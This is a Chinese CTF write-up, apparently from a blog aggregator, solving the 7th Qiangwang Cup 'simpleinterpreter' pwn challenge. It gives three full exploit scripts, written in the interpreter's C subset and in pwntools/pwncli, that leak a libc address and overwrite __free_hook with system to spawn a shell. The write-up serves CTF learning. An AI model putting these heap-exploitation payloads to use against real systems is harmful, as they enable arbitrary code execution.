news 2026/6/5 21:16:35

第七届强网杯-PWN-【simpleinterpreter】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【simpleinterpreter】

对于一个刚入门的三个月的菜鸡pwn手打算按照难度慢慢复现qwb的题目

先simpleinterpreter吧

simpleinterpreter libc 2.27

逆向

解释器相关用到的陌生函数

法1

方法1参考链接
程序实现了一个 C 语言解释器,可用的关键字如下:

charelseenumifintreturnsizeofwhileread close printf malloc free memset memcmp exitvoidmain
read close printf malloc free memset memcmp exit 和原生C 函数效果一样 可以尝试一下&*操作是否存在,存在利用那么更方便

漏洞就是越界,首先用malloc一个超大堆块分配到 mmap 内存,然后越界写 libc,将 free_hook 覆盖为 system 地址,然后释放”/bin/sh”即可 getshell(libc 版本是 2.27)

本地好像不行,得到的地址由mmap的第几次得到没有确定下来,导致与基地址偏移无法确定,但是第几次mmap的范围有限,所以如果不断尝试可能成功

该法对应的输入代码如下

main(){intsize;char*freehook;char*system;char*v;char*binsh;size=204800;binsh="/bin/sh";v=malloc(size);freehook=v-0xb2728;system=v-0x450bf0;*(int*)freehook=system;free(binsh);}

法二

方法二参考链接

该方法没有使用到*和&,单纯利用提供得关键字解决

  1. 分配一个大于fastbin的chunk和两个fastbin的chunk

  2. free第一个chunk,此时进入unsortedbin泄露libc地址

  3. free第二个和第三个chunk,然后修改第三个chunk的fd为free_hook-8的位置

  4. malloc两次

  5. 修改第二次的chunk的值为/bin/sh\x00和system地址,此时free_hook的内容被修改为system地址

  6. free第二次的chunk即可getshell

frompwnimport*sh=process('./simpleinterpreter')context.log_level="debug"code=''' int main() { void* p1; void* p2; void* p3; void* p4; void* p5; p1 = malloc(0x500); p2 = malloc(0x18); p3 = malloc(0x18); free(p1); printf(p1); free(p3); free(p2); read(0, p2, 8); p4 = malloc(0x18); p5 = malloc(0x18); read(0, p5, 0x10); free(p5); return 0; }'''sh.sendlineafter("Code size:",str(len(code)))sh.sendafter("Please give me the code to interpret:",code)libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0log.success("libc_base:\t"+hex(libc_base))free_hook=libc_base+0x3ed8e8system=libc_base+0x4f420sh.send(p64(free_hook-8))sh.send("/bin/sh\x00"+p64(system))sh.interactive()

法3

参考链接

与法1的区别在于泄露libc基地址方式不同而已
攻击思路先使用malloc申请一个大堆块,再malloc申请一个小堆块防止大堆块释放与TOPchunk合并,利用指针UAF读取free后残留的main_arena计算libc地址,最后利用指针改写__free_hook为system执行free即可getshell

from pwncli import*cli_script()set_remote_libc('libc-2.27.so')io:tube=gift.io elf:ELF=gift.elf libc:ELF=gift.libc#one_gadgets:list=get_current_one_gadget_from_libc(more=False)#CurrentGadgets.set_find_area(find_in_elf=True,find_in_libc=False,do_initial=False)payload='''intc;intmain(){intb;intlibc;int*free_hook;char*sh;libc=0;free_hook=libc+1;free_hook=malloc(0x500);sh=malloc(0x10);free(free_hook);libc=*free_hook-0x3ebca0;printf("%lx",libc);free_hook=libc+0x3ed8e8;*free_hook=libc+0x4F420;sh[0]='s';sh[1]='h';free(sh);return0;}'''sla('size:',str(len(payload)))sla('et:',payload)ia()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/21 11:04:08

京东返利app分布式追踪系统:基于SkyWalking的全链路问题定位

京东返利app分布式追踪系统:基于SkyWalking的全链路问题定位 大家好,我是省赚客APP研发者阿宝! 在省赚客这类对接京东联盟API的返利应用中,一次用户下单返现操作可能涉及订单同步服务 → 佣金计算引擎 → 用户账户系统 → 消息通知…

作者头像 李华
网站建设 2026/5/30 14:48:57

cmake 里 add_library 怎么理解

一、基本介绍add_library 是 CMake 中创建库文件&#xff08;静态库或动态库&#xff09;的核心命令。它的主要作用是将源代码文件编译成库&#xff0c;以便在项目中复用或被其他目标链接。基本语法如下所示&#xff1a;add_library(<name> [STATIC | SHARED | MODULE][E…

作者头像 李华
网站建设 2026/6/4 19:29:38

GLM-TTS能否用于宠物语音翻译器?拟人化叫声生成脑洞

GLM-TTS能否用于宠物语音翻译器&#xff1f;拟人化叫声生成脑洞 在智能音箱已经能读懂你心情的今天&#xff0c;我们是不是离“听懂猫主子心里话”也只差一步了&#xff1f; 这听起来像科幻桥段——你的猫咪跳上沙发&#xff0c;喵呜一声&#xff0c;设备立刻播报&#xff1a;“…

作者头像 李华
网站建设 2026/6/2 6:38:01

为什么90%的PHP开发者不会写扩展?揭开ZEND引擎背后的神秘面纱

第一章&#xff1a;为什么90%的PHP开发者不会写扩展&#xff1f;PHP作为广泛使用的服务器端脚本语言&#xff0c;其生态中绝大多数开发者停留在使用函数、类库和框架的层面。尽管PHP提供了强大的C语言扩展机制&#xff0c;允许开发者深入内核实现高性能模块&#xff0c;但真正掌…

作者头像 李华
网站建设 2026/5/29 6:15:43

Kanass快速上手指南:如何进行迭代管理

kanass是一款国产开源免费、简洁易用的项目管理工具&#xff0c;包含项目管理、项目集管理、事项管理、版本管理、迭代管理、计划管理等相关模块。工具功能完善&#xff0c;用户界面友好&#xff0c;操作流畅。本文主要介绍迭代管理。1、添加迭代进入项目->迭代->添加迭代…

作者头像 李华